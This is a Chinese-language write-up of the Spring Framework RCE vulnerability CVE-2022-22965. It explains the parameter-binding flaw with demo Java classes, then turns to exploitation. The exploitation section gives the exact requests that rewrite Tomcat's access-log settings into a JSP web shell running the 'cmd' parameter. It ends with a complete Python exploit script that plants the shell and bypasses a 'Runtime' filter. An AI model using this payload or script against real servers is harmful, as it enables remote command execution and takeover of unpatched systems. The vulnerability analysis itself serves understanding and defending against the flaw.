Spring RCE远程执行漏洞(CVE-2022-22965)
这个洞22年3月底被大佬发现公布,由于Spring框架的影响范围太大了。复现条件又很低,本身就是高危的RCE漏洞可以直接拿到服务器的shell,像作者说的一样确实是一个核弹漏洞。
影响范围
JDK>8
Spring Framework<5.3.18
Spring Framework<5.2.20
条件
类对象中有get/set方法
Spring controller接口中有对象传入
漏洞原理
User类,有name和Department两个属性
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
Department类具有name属性
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
一会准备测试的接口,注意:其中并没有调用User的get/set方法
@Controller
public class UserController {
@RequestMapping("/testUser")
public @ResponseBody String testUser(User user) {
System.out.println("==testUser==");
return "OK";
}
}
打断点后DEBUG启动
携带参数请求该接口
http://localhost:8888/testUser?name=tpa&department.name=code
User对象没有调用get/set方法但其属性却有了值,这是因为Spring的参数绑定特性,而department.name则是多级绑定。(若department中也存在一个具备name属性的area对象,传入参数department.area.name其属性也会更改。)实际上department.name在后台的调用链路为
User.getDepartment() => Department.setName()
department.area.name则为
User.getDepartment() => Department.getArea() => Area.setName()
因为是封装类private私有属性,能更改类的属性不直接调用get/set肯定是通过反射了。而JDK自带的一个类PropertyDescriptor就可以通过反射来获取设置对象的属性。实现Spring框架参数绑定自动调用get/set方法的关键类BeanWrapperImpl就是对其进行的封装。
public class PropertyDescriptorTest {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("tpa111");
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals("name")) {
userNameDescriptor = descriptor;
System.out.println("修改前user name:");
//通过反射调用了get方法
System.out.println(userNameDescriptor.getReadMethod().invoke(user));
//通过反射调用了set方法
userNameDescriptor.getWriteMethod().invoke(user, "tpa222");
}
}
System.out.println("修改后user name:");
//通过反射调用了get方法
System.out.println(userNameDescriptor.getReadMethod().invoke(user));
}
}
BeanWrapperImpl测试
public class BeanWrapperTest {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName("tpa111");
Department department = new Department();
department.setName("code111");
user.setDepartment(department);
//关键类
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println("修改前user name:");
System.out.println(userBeanWrapper.getPropertyValue("name"));
System.out.println("修改前department name");
System.out.println(userBeanWrapper.getPropertyValue("department.name"));
userBeanWrapper.setPropertyValue("name", "tpa222");
userBeanWrapper.setPropertyValue("department.name", "code222");
System.out.println("修改后user name:");
System.out.println(userBeanWrapper.getPropertyValue("name"));
System.out.println("修改后department name");
System.out.println(userBeanWrapper.getPropertyValue("department.name"));
}
}
而其中最关键的是在BeanWrapperImpl类中在spring进行参数绑定的时候缓存了一个Class属性,用于引用待绑定的类,有这个Class属性意味着使用的对象不需要拥有Class属性(没有傻X在一个类里写入class属性吧,有了这个缓存漏洞直接起飞),通过传入参数class利用参数绑定就能获得Class对象,而能拿到Class对象在java不是想拿谁拿谁。
DEBUG看一下BeanWrapperImpl出现缓存的代码出现在110行
就是在这里发现了cache了class属性
漏洞利用
在拿到Class对象后,我们只要想办法怎么找到一个路径下的文件写入jsp木马更改文件后缀就可以了。java项目基本都会使用tomcat服务器,把目标锁定在了tomcat日志。(其他服务器找到路径也可以成功写入shell)
主要用到的就是HTTP接口访问日志,它是通过server.xml控制的
它的位置在server.xml最底部,我们可以利用刚才的参数绑定漏洞获取到org.apache.catalina.valves.AccessLogValve类修改它的属性
它这几个属性的含义
directory: access_log文件输出目录——为了方便改为webapps/ROOT根目录
prefix: access_log文件名前缀——随便起名tpa
suffix: access_log文件名后缀——.jsp
pattern: access_log文件内容格式——jsp木马
fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd——设为空
接下来发送请求更改属性
写入的参数木马
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %>
url编码后的请求
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%25%3E
文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
文件路径
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
文件名
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.prefix=tpa
文件名日期后缀
虽然没用但是不能少,少了不会生效
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://localhost:8888/testUser?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
成功在服务器生成了shell的jsp文件
成功远程执行
http://localhost:8888/tpa.jsp?cmd=whoami
以上为手动利用难免出现一些问题效率也不高,直接使用python脚本来进行验证生成shell
使用方式
python exp.py --url http://localhost/testUser
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "")
if url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"
print(f"[+] Shell should be at: {location}?cmd=whoami")
except Exception as e:
print(e)
if __name__ == '__main__':
main()